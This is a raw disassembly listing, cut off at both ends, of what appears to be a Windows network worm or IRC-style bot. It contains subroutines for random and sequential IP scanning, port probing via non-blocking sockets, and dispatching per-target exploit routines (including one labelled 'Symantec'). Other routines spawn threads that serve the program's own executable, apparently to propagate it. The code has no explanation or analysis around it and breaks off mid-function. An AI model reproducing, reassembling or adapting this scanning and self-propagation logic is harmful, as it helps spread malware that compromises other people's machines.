		push	offset unk_433C74
		push	eax
		call	sub_417D96
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_413B5E
		add	esp, 2Ch
		leave
		retn
sub_40A890	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A8E4	proc near		; CODE XREF: sub_401AC7+2641p

var_1000	= byte ptr -1000h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_418030
		push	edi
		lea	eax, [ebp+var_800]
		push	offset dword_433CC0
		push	eax
		call	sub_417D96
		cmp	dword_433870, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40A950
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"


loc_40A919:				; CODE XREF: sub_40A8E4+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+var_1000]
		push	offset dword_433CB0
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_4186E0
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40A919
		pop	esi


loc_40A950:				; CODE XREF: sub_40A8E4+2Dj
		push	dword_4C9544
		call	sub_417249
		push	eax
		lea	eax, [ebp+var_1000]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_4186E0
		push	0
		lea	eax, [ebp+var_800]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_413B5E
		add	esp, 34h
		pop	edi
		leave
		retn
sub_40A8E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A9AA	proc near		; DATA XREF: sub_401AC7+2B62o

var_3F0		= byte ptr -3F0h
var_1F0		= dword	ptr -1F0h
var_1EC		= byte ptr -1ECh
var_1DC		= byte ptr -1DCh
var_15C		= byte ptr -15Ch
var_150		= dword	ptr -150h
var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
var_140		= dword	ptr -140h
var_13C		= dword	ptr -13Ch
var_134		= byte ptr -134h
var_124		= byte ptr -124h
var_A4		= byte ptr -0A4h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3F0h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Bh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_134]
		rep movsd
		mov	dword ptr [eax+128h], 1
		lea	eax, [ebp+var_134]
		push	eax
		call	dword_4C983C	; inet_addr
		xor	edi, edi
		mov	[ebp+var_8], eax
		cmp	dword_433870, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], edi
		jz	loc_40AB08
		mov	ebx, offset dword_433870
		mov	eax, ebx


loc_40A9FB:				; CODE XREF: sub_40A9AA+158j
		push	[ebp+var_1C]
		push	dword ptr [eax]
		push	[ebp+var_8]
		call	sub_40B18C
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40AAF8
		push	dword ptr [ebx]
		lea	esi, [ebx-28h]
		lea	eax, [ebp+var_134]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		lea	eax, [ebp+var_3F0]
		push	offset unk_433D10
		push	eax
		call	sub_417D96
		push	edi
		lea	eax, [ebp+var_3F0]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		push	[ebp+var_24]
		call	sub_408C5D
		lea	eax, [ebp+var_3F0]
		push	eax
		call	sub_413B5E
		lea	eax, [ebp+var_134]
		push	eax
		lea	eax, [ebp+var_1EC]
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_15C]
		push	esi
		push	eax
		call	sub_417D96
		add	esp, 3Ch
		cmp	[ebp+var_A4], 0
		lea	eax, [ebp+var_A4]
		jnz	short loc_40AA93
		lea	eax, [ebp+var_124]


loc_40AA93:				; CODE XREF: sub_40A9AA+E1j
		push	eax
		lea	eax, [ebp+var_1DC]
		push	eax
		call	sub_417D96
		mov	eax, [ebp+var_24]
		pop	ecx
		mov	[ebp+var_1F0], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_140], eax
		mov	eax, [ebp+var_10]
		pop	ecx
		mov	[ebp+var_13C], eax
		mov	eax, [ebx]
		sub	esp, 0BCh
		mov	[ebp+var_150], eax
		mov	eax, [ebp+var_18]
		push	2Fh
		mov	[ebp+var_14C], eax
		mov	eax, [ebp+arg_0]
		pop	ecx
		lea	esi, [ebp+var_1F0]
		mov	edi, esp
		mov	[ebp+var_148], eax
		rep movsd
		call	dword ptr [ebx+4]
		add	esp, 0BCh
		inc	[ebp+var_4]
		xor	edi, edi


loc_40AAF8:				; CODE XREF: sub_40A9AA+64j
		inc	[ebp+arg_0]
		add	ebx, 40h
		mov	eax, ebx
		cmp	[ebx], edi
		jnz	loc_40A9FB


loc_40AB08:				; CODE XREF: sub_40A9AA+44j
		push	[ebp+var_4]
		lea	eax, [ebp+var_134]
		push	eax
		lea	eax, [ebp+var_3F0]
		push	offset unk_433CDC
		push	eax
		call	sub_417D96
		push	edi
		lea	eax, [ebp+var_3F0]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		push	[ebp+var_24]
		call	sub_408C5D
		lea	eax, [ebp+var_3F0]
		push	eax
		call	sub_413B5E
		push	[ebp+var_18]
		call	sub_40A51F
		add	esp, 2Ch
		push	edi
		call	dword_4230CC	; ExitThread
sub_40A9AA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AB5B	proc near		; CODE XREF: sub_401AC7+1F9Ep

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40A44B
		test	eax, eax
		pop	ecx
		jle	short loc_40AB97
		mov	eax, [ebp+arg_C]
		push	dword_4C9948[eax*8]
		call	dword_4C9888	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_433D60
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		jmp	short loc_40ABAA
; ---------------------------------------------------------------------------


loc_40AB97:				; CODE XREF: sub_40AB5B+13j
		lea	eax, [ebp+var_200]
		push	offset unk_433D40
		push	eax
		call	sub_417D96
		pop	ecx
		pop	ecx


loc_40ABAA:				; CODE XREF: sub_40AB5B+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_413B5E
		add	esp, 18h
		leave
		retn
sub_40AB5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ABD2	proc near		; CODE XREF: sub_40B43D+4Fp

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40B0A4
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_43387C[eax], ebx
		jz	loc_40B0A4
		push	5
		call	sub_40A44B
		test	eax, eax
		pop	ecx
		jnz	loc_40AE59
		mov	eax, dword_425078
		push	edi
		mov	esi, offset dword_4CBA04
		push	104h
		push	esi
		push	ebx
		mov	dword_4CBC14, eax
		mov	dword_4CBC10, ebx
		call	dword_423070	; GetModuleFileNameA
		mov	edi, offset byte_4250E4
		push	103h
		push	edi
		push	offset dword_4CBB08
		call	sub_417B00
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CBA00, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4CBC98, eax
		jnz	short loc_40AC85
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CBC18
		call	sub_417B00
		add	esp, 0Ch
		mov	dword_4CBC9C, 1
		jmp	short loc_40AC9F
; ---------------------------------------------------------------------------


loc_40AC85:				; CODE XREF: sub_40ABD2+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CBC18
		call	sub_417B00
		add	esp, 0Ch
		mov	dword_4CBC9C, ebx


loc_40AC9F:				; CODE XREF: sub_40ABD2+B1j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CBC14
		push	offset unk_42E614
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40A203
		add	esp, 1Ch
		mov	dword_4CBC0C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CBA00
		push	offset sub_41088E
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, dword_4CBC0C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_40AD0D


loc_40ACFB:				; CODE XREF: sub_40ABD2+139j
		cmp	dword_4CBCA0, ebx
		jnz	short loc_40AD28
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_40ACFB
; ---------------------------------------------------------------------------


loc_40AD0D:				; CODE XREF: sub_40ABD2+127j
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_433E80
		push	eax
		call	sub_417D96
		add	esp, 0Ch


loc_40AD28:				; CODE XREF: sub_40ABD2+12Fj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_413B5E
		mov	eax, dword_4C9540
		mov	esi, offset dword_4CBCAC
		mov	[esp+210h+var_210], 104h
		push	esi
		push	ebx
		mov	dword_4CBEBC, eax
		mov	dword_4CBEB8, ebx
		call	dword_423070	; GetModuleFileNameA
		push	103h
		push	edi
		push	offset dword_4CBDB0
		call	sub_417B00
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CBCA8, eax
		mov	eax, [ebp+arg_138]
		pop	edi
		mov	dword_4CBF40, eax
		push	7Fh
		jnz	short loc_40ADA9
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CBEC0
		call	sub_417B00
		add	esp, 0Ch
		mov	dword_4CBF44, 1
		jmp	short loc_40ADC3
; ---------------------------------------------------------------------------


loc_40ADA9:				; CODE XREF: sub_40ABD2+1B8j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CBEC0
		call	sub_417B00
		add	esp, 0Ch
		mov	dword_4CBF44, ebx


loc_40ADC3:				; CODE XREF: sub_40ABD2+1D5j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CBEBC
		push	offset unk_433E4C
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_40A203
		add	esp, 1Ch
		mov	dword_4CBEB4, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CBCA8
		push	offset sub_40DA9B
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, dword_4CBEB4
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_40AE31


loc_40AE1F:				; CODE XREF: sub_40ABD2+25Dj
		cmp	dword_4CBF48, ebx
		jnz	short loc_40AE4C
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_40AE1F
; ---------------------------------------------------------------------------


loc_40AE31:				; CODE XREF: sub_40ABD2+24Bj
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_433E18
		push	eax
		call	sub_417D96
		add	esp, 0Ch


loc_40AE4C:				; CODE XREF: sub_40ABD2+253j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_413B5E
		pop	ecx


loc_40AE59:				; CODE XREF: sub_40ABD2+35j
		mov	eax, [ebp+arg_130]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_433884[ecx], ebx
		jz	loc_40AF82
		push	7
		call	sub_40A44B
		test	eax, eax
		pop	ecx
		jnz	loc_40AF7C
		mov	eax, dword_4CC544
		cmp	[ebp+arg_90], bl
		mov	dword_4CB96C, eax
		mov	eax, [ebp+arg_110]
		mov	dword_4CB960, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4CB968, ebx
		mov	dword_4CB9F0, eax
		push	7Fh
		jnz	short loc_40AECD
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CB970
		call	sub_417B00
		add	esp, 0Ch
		mov	dword_4CB9F4, 1
		jmp	short loc_40AEE7
; ---------------------------------------------------------------------------


loc_40AECD:				; CODE XREF: sub_40ABD2+2DCj
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CB970
		call	sub_417B00
		add	esp, 0Ch
		mov	dword_4CB9F4, ebx


loc_40AEE7:				; CODE XREF: sub_40ABD2+2F9j
		push	dword_4CB96C
		lea	eax, [ebp+var_204]
		push	offset unk_433DE8
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_204]
		push	7
		push	eax
		call	sub_40A203
		add	esp, 18h
		mov	dword_4CB964, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CB960
		push	offset sub_40D7F9
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, dword_4CB964
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_40AF54


loc_40AF42:				; CODE XREF: sub_40ABD2+380j
		cmp	dword_4CB9F8, ebx
		jnz	short loc_40AF6F
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_40AF42
; ---------------------------------------------------------------------------


loc_40AF54:				; CODE XREF: sub_40ABD2+36Ej
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_433DB0
		push	eax
		call	sub_417D96
		add	esp, 0Ch


loc_40AF6F:				; CODE XREF: sub_40ABD2+376j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_413B5E
		pop	ecx


loc_40AF7C:				; CODE XREF: sub_40ABD2+2A8j
		mov	eax, [ebp+arg_130]


loc_40AF82:				; CODE XREF: sub_40ABD2+298j
		shl	eax, 6
		cmp	dword_433880[eax], ebx
		jz	loc_40B0A4
		push	3
		call	sub_40A44B
		test	eax, eax
		pop	ecx
		jnz	loc_40B0A4
		mov	esi, offset dword_4CC1DC
		push	104h
		push	esi
		push	ebx
		call	dword_423070	; GetModuleFileNameA
		push	5Ch
		push	esi
		call	sub_418340
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40AFC3
		mov	[eax], bl


loc_40AFC3:				; CODE XREF: sub_40ABD2+3EDj
		mov	eax, dword_42507C
		mov	dword_4CC2F4, ebx
		mov	dword_4CC2E0, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CBF54
		call	sub_417D96
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4CBF50, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4CC2E0
		mov	dword_4CC2EC, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4CC2F0, ecx
		call	sub_409D1D
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42E59C
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_40A203
		add	esp, 20h
		mov	dword_4CC2E8, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CBF50
		push	offset sub_40E1DC
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, dword_4CC2E8
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_40B07C


loc_40B06A:				; CODE XREF: sub_40ABD2+4A8j
		cmp	dword_4CC2FC, ebx
		jnz	short loc_40B097
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_40B06A
; ---------------------------------------------------------------------------


loc_40B07C:				; CODE XREF: sub_40ABD2+496j
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_433D7C
		push	eax
		call	sub_417D96
		add	esp, 0Ch


loc_40B097:				; CODE XREF: sub_40ABD2+49Ej
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_413B5E
		pop	ecx


loc_40B0A4:				; CODE XREF: sub_40ABD2+14j
					; sub_40ABD2+25j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40ABD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B0A8	proc near		; CODE XREF: sub_40B229:loc_40B29Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4C9948h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_418810
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4C9738	; htonl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4C97FC	; htonl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_418810
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40B0A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B0F0	proc near		; CODE XREF: sub_40B229+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_4176F0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40B118
		xor	eax, eax
		jmp	short loc_40B189
; ---------------------------------------------------------------------------


loc_40B118:				; CODE XREF: sub_40B0F0+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_418B45
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40B145
		call	sub_417DF2
		mov	[ebp+var_C], eax


loc_40B145:				; CODE XREF: sub_40B0F0+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40B152
		call	sub_417DF2
		mov	[ebp+var_8], eax


loc_40B152:				; CODE XREF: sub_40B0F0+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40B15F
		call	sub_417DF2
		mov	[ebp+var_4], eax


loc_40B15F:				; CODE XREF: sub_40B0F0+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40B16B
		call	sub_417DF2


loc_40B16B:				; CODE XREF: sub_40B0F0+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4C9948[ecx*8], eax


loc_40B189:				; CODE XREF: sub_40B0F0+26j
		pop	esi
		leave
		retn
sub_40B0F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B18C	proc near		; CODE XREF: sub_40A9AA+59p
					; sub_40B229+B8p

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4C987C	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40B1B5
		xor	eax, eax
		jmp	short loc_40B224
; ---------------------------------------------------------------------------


loc_40B1B5:				; CODE XREF: sub_40B18C+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4C9800	; htons
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4C9898	; ioctlsocket
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4C97AC	; connect
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4C97E8	; select
		push	esi
		mov	edi, eax
		call	dword_4C9894	; closesocket
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_40B224:				; CODE XREF: sub_40B18C+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B18C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B229	proc near		; DATA XREF: sub_40B43D+13Bo

var_2A8		= dword	ptr -2A8h
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		call	dword_4230A8	; GetTickCount
		push	eax
		call	sub_417DE8
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_40B270:				; CODE XREF: sub_40B229+200j
		mov	eax, dword_43C744[ebx]
		cmp	dword_4C994C[eax*8], 0
		jz	loc_40B42E
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40B29A
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40B0F0
		pop	ecx
		jmp	short loc_40B29F
; ---------------------------------------------------------------------------


loc_40B29A:				; CODE XREF: sub_40B229+60j
		call	sub_40B0A8


loc_40B29F:				; CODE XREF: sub_40B229+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_43C744[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4C9888	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_433EDC
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_43C540[ebx]
		push	eax
		call	sub_417D96
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40B18C
		add	esp, 2Ch
		cmp	eax, 1
		jnz	loc_40B41E
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40B373
		push	offset dword_4CB948
		call	dword_4230D4	; RtlEnterCriticalSection
		push	[ebp+var_3C]
		push	edi
		call	dword_4C9888	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_433EB4
		push	eax
		call	sub_417D96
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40B355
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40B349
		lea	eax, [ebp+var_140]


loc_40B349:				; CODE XREF: sub_40B229+118j
		push	eax
		push	[ebp+var_40]
		call	sub_408C5D
		add	esp, 14h


loc_40B355:				; CODE XREF: sub_40B229+FDj
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_413B5E
		mov	[esp+2A8h+var_2A8], offset dword_4CB948
		call	dword_4230D0	; RtlLeaveCriticalSection
		jmp	loc_40B41E
; ---------------------------------------------------------------------------


loc_40B373:				; CODE XREF: sub_40B229+CDj
		push	edi
		call	dword_4C9888	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_417D96
		mov	eax, [ebp+var_20]
		shl	eax, 6
		add	eax, offset aSym ; "sym"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_417D96
		add	esp, 10h
		cmp	[ebp+var_C0], 0
		lea	eax, [ebp+var_C0]
		jnz	short loc_40B3B7
		lea	eax, [ebp+var_140]


loc_40B3B7:				; CODE XREF: sub_40B229+186j
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_417D96
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_433874[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_40B41E:				; CODE XREF: sub_40B229+C3j
					; sub_40B229+145j
		push	7D0h
		call	dword_423078	; Sleep
		jmp	loc_40B270
; ---------------------------------------------------------------------------


loc_40B42E:				; CODE XREF: sub_40B229+55j
		push	esi
		call	sub_40A51F
		pop	ecx
		push	0
		call	dword_4230CC	; ExitThread
sub_40B229	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B43D	proc near		; DATA XREF: sub_401AC7+1AD7o
					; sub_401AC7+537Do

var_1DC		= dword	ptr -1DCh
var_1CC		= byte ptr -1CCh
var_14C		= byte ptr -14Ch
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4C983C	; inet_addr
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_4C9948[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40ABD2
		push	0Bh
		call	sub_40A44B
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40B50B
		mov	esi, offset dword_4CB948
		push	esi
		call	dword_4230DC	; RtlDeleteCriticalSection
		push	80000400h
		push	esi
		call	dword_4230D8	; InitializeCriticalSectionAndSpinCount
		test	eax, eax
		jnz	short loc_40B50B
		lea	eax, [ebp+var_1CC]
		push	offset unk_433FC0
		push	eax
		call	sub_417D96
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40B4F5
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_408C5D
		add	esp, 14h


loc_40B4F5:				; CODE XREF: sub_40B43D+99j
		lea	eax, [ebp+var_1CC]
		push	eax
